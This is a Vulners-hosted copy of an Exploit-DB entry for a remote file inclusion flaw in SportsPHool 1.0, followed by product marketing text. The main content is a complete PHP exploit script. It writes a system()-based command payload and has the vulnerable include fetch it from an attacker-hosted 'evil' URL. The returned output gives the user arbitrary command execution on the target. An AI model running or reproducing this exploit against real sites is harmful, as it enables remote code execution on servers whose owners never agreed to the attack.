Lucene search
K

SportsPHool 1.0 - Remote File Inclusion

🗓️ 21 Oct 2011 00:00:00Reported by cr4wl3rType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 30 Views

SportsPHool 1.0 Remote File Inclusion with Form Inpu

Code
<?php

/*
Sports PHool <= 1.0 Remote File Include Exploit
Found and c0ded by cr4wl3r @hackb0x
d0rk: no d0rk f0r kiddi0ts
Script:  http://sourceforge.net/projects/sportsphool/files/

usage:
target: http://target/sportsphool/includes/layout/plain.footer.php?mainnav=
evil: http://hackb0x/evilscript.txt?

*/

$cmd = $_POST["cmd"];
$target = $_POST["target"];
$evil = $_POST["evil"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
    ."target:<br><input type=\"text\" name=\"target\" size=\"90\" value=\"".$target."\"><br>"
    ."evil:<br><input type=\"text\" name=\"evil\" size=\"90\" value=\"".$evil."\"><br>"
    ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" value=\"".$cmd."\"><br>"
    ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"
    ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit'])) 
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\"); 
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($target.$evil, "r");
if (!$file) {
    echo "<p>Unable to get output.\n";
    exit;
}

echo $form;

while (!feof ($file)) {
    $line .= fgets ($file, 1024)."<br>";
    }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Oct 2011 00:00Current
7.4High risk
Vulners AI Score7.4
30